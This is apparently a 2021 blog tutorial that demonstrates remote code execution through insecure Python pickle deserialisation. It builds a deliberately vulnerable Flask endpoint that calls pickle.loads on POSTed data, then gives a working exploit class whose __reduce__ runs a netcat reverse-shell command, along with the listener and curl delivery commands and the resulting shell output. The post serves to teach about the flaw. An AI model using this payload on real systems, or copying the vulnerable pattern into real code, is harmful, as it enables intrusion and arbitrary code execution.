Insecure de-serialisation with Python’s Pickle module

raj3shp
3 min readFeb 14, 2021

--

The pickle module implements binary protocols for serialising and de-serialising a Python object structure.

The documentation starts with flashy red box of warning:

Warning The pickle module is not secure. Only un-pickle data you trust.
It is possible to construct malicious pickle data which will execute arbitrary code during un-pickling. Never un-pickle data that could have come from an untrusted source, or that could have been tampered with.

In this post, I will try to demonstrate how an attacker can achieve remote code execution by exploiting insecure python de-serialisation functionality implemented with pickle module.

  • Let’s setup a basic Flask application
$=> python3 -m venv venv
$=> source venv/bin/activate
$=> pip install flask
  • Create app.py
from flask import Flask, request
import base64
import pickle
app = Flask(__name__)@app.route(‘/pickler’, methods=[“POST”])
def pickler():
data = base64.urlsafe_b64decode(request.form[‘pickled’])
deserialized_data = pickle.loads(data)
return ‘’
  • Run the app
$=> export FLASK_APP=app.py
$=> flask run

Understanding the vulnerability:

As you can see, the code above is serving a basic web application which accepts POST request on /pickler endpoint and de-serialises the POSTed data. There are no restrictions on what user can send in the request data. Only condition is that data needs to be Base64 encoded.

Attacker can send a malicious serialised object which will be de-serialised by the application and possibly execute code during the de-serialisation.

This is possible by leveraging functionality of object.__reduce__() method from pickle module.

The documentation for object.__reduce__() method states that:

The __reduce__() method takes no argument and shall return either a string or preferably a tuple

When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:

A callable object that will be called to create the initial version of the object.

A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument.

We can basically execute python code by providing a callable object that will be called while creating the de-serialised object.

import pickle
import base64
import os
class RCE(object):
def __reduce__(self):
cmd = (‘rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ‘
‘/bin/sh -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f’)
return os.system, (cmd,)
if __name__ == ‘__main__’:
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
  • We create a class called RCE and define a __reduce__() method
  • This method should return a tuple i.e a callable object and it’s arguments in a tuple
  • So we return os.system and (cmd,) to satisfy the need that the arguments must be a tuple with second argument as empty.
  • We then use pickle.dumps() method to serialise the object and print it in Base64 encoded format.
  • Let’s run above code to generate the payload
=> python exploit.py
Y3Bvc2l4CnN5c3RlbQpwMAooUydybSA…
  • We can send this payload to the application with a POST request. When the payload is de-serialised by the application, os.system will be executed with args which are system commands that create a reverse shell to attacker’s machine on port 4444.
  • Create a listener for the reverse shell connection
$=> nc -nvvl 4444
  • Send the payload using curl
$=> curl -d "pickled=Y3Bvc2l4CnN5c3RlbQpwMAooUydybSA…" http://127.0.0.1:5000/pickler
  • Watch the listener window for the connection. The application returns a shell with privileges same as the user with which the application is being run.
$=> nc -nvvvl 4444
sh: no job control in this shell
sh-3.2$ id
uid=501(raj3shp)

Never un-pickle data that could have come from an untrusted source, or that could have been tampered with.

--

--

No responses yet